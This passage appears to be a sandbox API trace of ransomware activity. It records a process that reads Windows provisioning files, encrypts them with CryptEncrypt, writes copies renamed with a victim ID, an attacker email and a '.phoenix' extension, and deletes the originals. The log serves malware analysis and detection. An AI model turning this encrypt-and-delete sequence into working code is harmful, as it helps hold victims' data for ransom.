	[0258.035] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=700) returned 1
	[0258.036] CloseHandle (hObject=0x2e0) returned 1
	[0258.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\698__Connections_Cellular_3 (Austria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\698__connections_cellular_3 (austria)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0258.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\698__Connections_Cellular_3 (Austria)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\698__connections_cellular_3 (austria)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0258.036] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\698__Connections_Cellular_3 (Austria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\698__connections_cellular_3 (austria)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0258.036] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0258.036] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0258.036] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\698__Connections_Cellular_3 (Austria)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\698__connections_cellular_3 (austria)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0258.037] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151480) returned 1
	[0258.037] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0258.037] ReadFile (in: hFile=0x2e0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2bc, lpOverlapped=0x0) returned 1
	[0258.039] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2c0, dwBufLen=0x2c0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2c0) returned 1
	[0258.039] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2c0, lpOverlapped=0x0) returned 1
	[0258.040] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151740) returned 1
	[0258.040] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0258.040] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0, dwBufLen=0xa0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0) returned 1
	[0258.040] CryptDestroyKey (hKey=0x151740) returned 1
	[0258.040] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x152, lpOverlapped=0x0) returned 1
	[0258.040] CryptDestroyKey (hKey=0x151480) returned 1
	[0258.040] CloseHandle (hObject=0x2e0) returned 1
	[0258.040] CloseHandle (hObject=0x2f4) returned 1
	[0258.040] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\698__Connections_Cellular_3 (Austria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\698__connections_cellular_3 (austria)_i0$(__mvid)@wap.provxml")) returned 1
	[0258.042] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0258.042] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\699__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\699__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0258.042] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=454) returned 1
	[0258.042] CloseHandle (hObject=0x2f4) returned 1
	[0258.042] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\699__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\699__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20
	[0258.043] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\699__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\699__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0258.043] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\699__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\699__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0258.043] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0258.043] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0258.043] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\699__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\699__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0258.044] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151740) returned 1
	[0258.044] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0258.044] ReadFile (in: hFile=0x2f4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x1c6, lpOverlapped=0x0) returned 1
	[0258.045] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1d0) returned 1
	[0258.045] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x1d0, lpOverlapped=0x0) returned 1
	[0258.047] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151380) returned 1
	[0258.047] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0258.047] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0258.047] CryptDestroyKey (hKey=0x151380) returned 1
	[0258.047] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0258.047] CryptDestroyKey (hKey=0x151740) returned 1
	[0258.047] CloseHandle (hObject=0x2f4) returned 1
	[0258.047] CloseHandle (hObject=0x2e0) returned 1
	[0258.047] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\699__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\699__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 1
	[0258.048] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0258.048] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\69__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\69__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0258.049] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=475) returned 1
	[0258.049] CloseHandle (hObject=0x2e0) returned 1
	[0258.049] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\69__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\69__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20
	[0258.049] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\69__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\69__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0258.049] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\69__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\69__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0258.049] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0258.049] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0258.049] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\69__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\69__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0258.050] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151040) returned 1
	[0258.050] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0258.050] ReadFile (in: hFile=0x2e0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x1db, lpOverlapped=0x0) returned 1
	[0258.172] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1e0, dwBufLen=0x1e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1e0) returned 1
	[0258.172] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x1e0, lpOverlapped=0x0) returned 1
	[0258.500] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151740) returned 1
	[0258.500] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0258.500] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0258.500] CryptDestroyKey (hKey=0x151740) returned 1
	[0258.501] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0258.501] CryptDestroyKey (hKey=0x151040) returned 1
	[0258.501] CloseHandle (hObject=0x2e0) returned 1
	[0258.501] CloseHandle (hObject=0x2f4) returned 1
	[0258.501] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\69__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\69__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 1
	[0258.502] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0258.502] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\712__DataMarketplace_PerSimSettings_$(__ICCID)_SupportDataMarketplace.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\712__datamarketplace_persimsettings_$(__iccid)_supportdatamarketplace.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0258.502] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=447) returned 1
	[0258.502] CloseHandle (hObject=0x2f4) returned 1
	[0258.502] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\712__DataMarketplace_PerSimSettings_$(__ICCID)_SupportDataMarketplace.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\712__datamarketplace_persimsettings_$(__iccid)_supportdatamarketplace.provxml")) returned 0x20
	[0258.502] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\712__DataMarketplace_PerSimSettings_$(__ICCID)_SupportDataMarketplace.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\712__datamarketplace_persimsettings_$(__iccid)_supportdatamarketplace.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0258.502] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\712__DataMarketplace_PerSimSettings_$(__ICCID)_SupportDataMarketplace.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\712__datamarketplace_persimsettings_$(__iccid)_supportdatamarketplace.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0258.502] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0258.503] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0258.503] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\712__DataMarketplace_PerSimSettings_$(__ICCID)_SupportDataMarketplace.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\712__datamarketplace_persimsettings_$(__iccid)_supportdatamarketplace.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0258.503] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151480) returned 1
	[0258.503] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0258.503] ReadFile (in: hFile=0x2f4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x1bf, lpOverlapped=0x0) returned 1
	[0258.504] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1c0, dwBufLen=0x1c0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1c0) returned 1
	[0258.505] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x1c0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x1c0, lpOverlapped=0x0) returned 1
	[0258.506] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151040) returned 1
	[0258.506] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0258.506] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0, dwBufLen=0xc0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0) returned 1
	[0258.506] CryptDestroyKey (hKey=0x151040) returned 1
	[0258.506] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x172, lpOverlapped=0x0) returned 1
	[0258.506] CryptDestroyKey (hKey=0x151480) returned 1
	[0258.506] CloseHandle (hObject=0x2f4) returned 1
	[0258.506] CloseHandle (hObject=0x2e0) returned 1
	[0258.506] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\712__DataMarketplace_PerSimSettings_$(__ICCID)_SupportDataMarketplace.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\712__datamarketplace_persimsettings_$(__iccid)_supportdatamarketplace.provxml")) returned 1
	[0258.507] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0258.507] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\713__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\713__connections_cellular_cmhk (hong kong sar)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0258.508] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=701) returned 1
	[0258.508] CloseHandle (hObject=0x2e0) returned 1
	[0258.508] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\713__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\713__connections_cellular_cmhk (hong kong sar)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0258.508] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\713__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\713__connections_cellular_cmhk (hong kong sar)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0258.508] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\713__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\713__connections_cellular_cmhk (hong kong sar)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0258.508] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0258.508] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
